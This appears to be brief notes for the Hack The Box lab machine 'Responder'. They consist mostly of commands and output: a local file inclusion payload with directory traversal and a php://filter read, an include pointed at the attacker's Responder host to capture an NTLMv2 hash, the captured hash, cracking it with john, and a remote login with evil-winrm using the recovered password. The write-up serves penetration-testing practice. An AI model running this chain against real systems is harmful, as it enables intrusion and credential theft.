

Responder

Responder

Commands

```
echo "{IP} {DOMAIN_NAME}" | sudo tee -a /etc/hosts
http://{DOMAIN}/index.php?
page={../../../../../windows/system32/drivers/etc/
```

<http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php>

```
sudo responder -l tun0
```

http://{DOMAIN}/?page=://{RESPONDER IP}/somefile

```
[SMB] NTLMv2-SSP Client      : 10.129.139.54
[SMB] NTLMv2-SSP Username    : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash        : Administrator::RESPONDER:97ceac154f7895c0:DBC0AE2D8EC0F4642BAD07ECB4E3AD2
6:01010000000000000000224A3EFC6ED9012DCB47F45F7F53D9000000002000800570039005A00520001001E00570049004E0
02D0041004F003300510056003400470037005A004C004B0004003400570049004E002D0041004F0033005100560034004700
37005A004C004B002E00570039005A0052002E004C004F00430041004C0003001400570039005A0052002E004C004F0043004
1004C0005001400570039005A0052002E004C004F00430041004C000700080000224A3EFC6ED9010600040002000000080030
003000000000000000001000000002000004B8382FBB248554CD4327189E88007468C8C78BACE17689A224491EB6FBD248B0A0
010000000000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00
39003800000000000000000000000000
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt adminHash.txt
evil-winrm -i 10.129.139.54 -u Administrator -p badminton
```

General Info

This box gets pummeled by LFI, it uses include (noob) and you can traverse

back to the home directory with `../` and little bit of razzle dazzle.

Use carspolop auto wordlist to bruteforce file names

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt